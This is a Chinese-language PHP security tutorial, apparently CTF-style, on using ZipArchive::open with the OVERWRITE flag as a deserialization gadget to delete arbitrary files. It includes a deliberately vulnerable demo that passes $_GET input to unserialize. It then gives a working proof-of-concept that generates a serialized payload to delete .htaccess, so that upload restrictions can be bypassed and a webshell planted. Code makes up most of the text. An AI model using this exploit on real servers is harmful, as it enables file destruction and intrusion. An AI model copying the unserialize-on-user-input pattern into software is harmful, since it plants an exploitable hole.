原生类同名函数
ZipArchive::open($filename,$flag)
当$flag=ZipArchive::OVERWRITE时,就会将$filename的文件删除
<?php
$a = new ZipArchive();
$a -> open("test.txt" , ZipArchive::OVERWRITE);
?>
在同级目录下新建一个test.txt文件,当如上代码设置时访问该页面,test.txt就会被删除,该方法PHP全版本通杀。接下来以一个Demo为例对这种方法进行介绍。
example.php
<?php
class Upload
{
function open($filename, $content)
{
echo "You wanna open " . $filename . "Content:" . $content;
}
}
class Index
{
public $upload;
public $filename;
public $content;
function __construct($filename, $content)
{
$this->upload = new UpLoad();
$this->filename = $filename;
$this->content = $content;
}
function __destruct()
{
var_dump($this->upload);
var_dump($this->content);
var_dump($this->filename);
$this->upload->open($this->filename, $this->content);
}
}
unserialize($_GET['file']);
假设有这样一段代码,与其同级目录下有一个.htaccess文件和一个上传表单文件,我们希望绕过上传成功Getshell,但是.htaccess文件中的内容又严重阻碍了我们的操作,所以下面希望将该文件删除掉,那么就用到了ZipArchive这个类,同时我们也看到Demo中的$this->upload也存在open函数。那么构造POC:
<?php
class Index
{
public $upload;
public $filename;
public $content;
function __construct($filename, $content)
{
$this->filename = $filename;
$this->content = $content;
}
}
$a = new Index(".htaccess",ZipArchive::OVERWRITE);
$a -> upload = new ZipArchive();
echo urlencode(serialize($a));
将生成的内容,通过file参数传递过去就成功将.htaccess文件删除了,实现了任意文件删除的操作。这是因为我们反序列化的时候会调用__destruct魔术方法的,而那个方法里有一段这样的代码“$this->upload->open($this->filename, $this->content);”,所以我们构造的$a -> upload = new ZipArchive();就会在反序列化后触发到ZipArchive的open方法,同时第二个参数我们构造的也是ZipArchive::OVERWRITE,就满足了任意文件删除的条件了。